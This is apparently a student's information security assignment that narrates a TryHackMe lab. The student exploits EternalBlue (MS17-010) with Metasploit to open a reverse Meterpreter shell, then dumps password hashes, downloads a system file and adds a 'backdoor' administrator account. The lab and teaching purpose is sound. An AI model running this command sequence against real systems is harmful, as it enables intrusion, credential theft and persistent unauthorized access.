**Information Security COMP 421 Fall 2024 Section B**

**Name: Ammar Bin Azhar**

**Roll No:251684528**

**Assignment 1**

I started by launching the Metasploit Framework in the TryHackMe (free room)using the command:

1. ***msfconsole***

This opened the Metasploit console where I could run all the commands for my test.

Next, I searched for the MS17-010 vulnerability (EternalBlue) that I wanted to exploit by using:

1. ***search ms17\_010***

This command helped me find the EternalBlue exploit that I needed for the test.

Once I found it, I selected the exploit module with the command:

1. ***use exploit/windows/smb/ms17\_010\_eternalblue***

This told Metasploit to use the EternalBlue exploit specifically for targeting Windows SMB vulnerabilities.

After selecting the exploit, I set the target machine’s IP address with:

1. ***set RHOSTS 10.10.117.130***

This command set the RHOSTS (target IP address) to 10.10.117.130, which was the IP of the machine I wanted to exploit.

Next, I set my local machine’s IP address (for receiving the reverse shell) with the command:

1. ***set LHOST 10.10.47.229***

This is important because it tells the target machine where to send the shell back once it’s exploited.

I verified that the settings were correct by running:

1. ***show options***

This showed all the settings I had configured, ensuring everything was ready for the exploit.

Once I was sure everything was set up correctly, I ran the exploit with:

1. ***exploit***

This initiated the attack and attempted to exploit the MS17-010 vulnerability on the target system. If successful, it would open a Meterpreter session.

After the exploit was successful, I gathered basic system information using:

1. ***sysinfo***

This showed me the target machine’s OS, which was Windows 7, and the architecture (x64).

Next, I dumped the password hashes from the target system using the command:

1. ***hashdump***

This revealed the password hashes for the Administrator, Guest, and Jon accounts on the target system.

1. ***ps***

This command gave me a list of processes running on the target machine, including smss.exe, svchost.exe, and others, which are typical for Windows systems.

(Screenshot attached in other file)

I then downloaded a file from the target machine using the command:

1. ***download C:\\Windows\\System32\\services.exe***

This downloaded the services.exe file from the system, which I could analyze further on my machine.

To see all open network connections on the target system, I ran:

1. ***netstat -ano***

This command showed all the open connections on the target machine, including local and remote addresses and connection states.

Next, I created a backdoor user on the system with the following commands:

1. ***execute -f cmd.exe -a "/c net user backdoor Password123! /add"***

***execute -f cmd.exe -a "/c net localgroup administrators backdoor /add"***

These commands added a new backdoor user with administrative privileges, allowing me to access the system later if needed.

I checked the list of all user accounts on the system by running:

1. ***net user***

This displayed the Administrator, Guest, and Jon accounts, helping me understand the user setup on the target machine.

I also attempted to kill a specific process to see if I could stop a running program, but I encountered an error when trying to kill process 2920:

1. ***kill 2920***

The operation failed due to access restrictions on the system.

Next, I tried to migrate my Meterpreter session to another process, hoping it would give me better stability:

1. ***migrate 824***

This command attempted to move the Meterpreter session to process 824, but it was blocked due to permission issues.

These are all the steps I followed during the penetration test. I used a series of Metasploit commands to exploit the MS17-010 vulnerability, gather system information, dump password hashes, and interact with the target system. Each step was essential for gaining control of the system and demonstrating the exploitation process.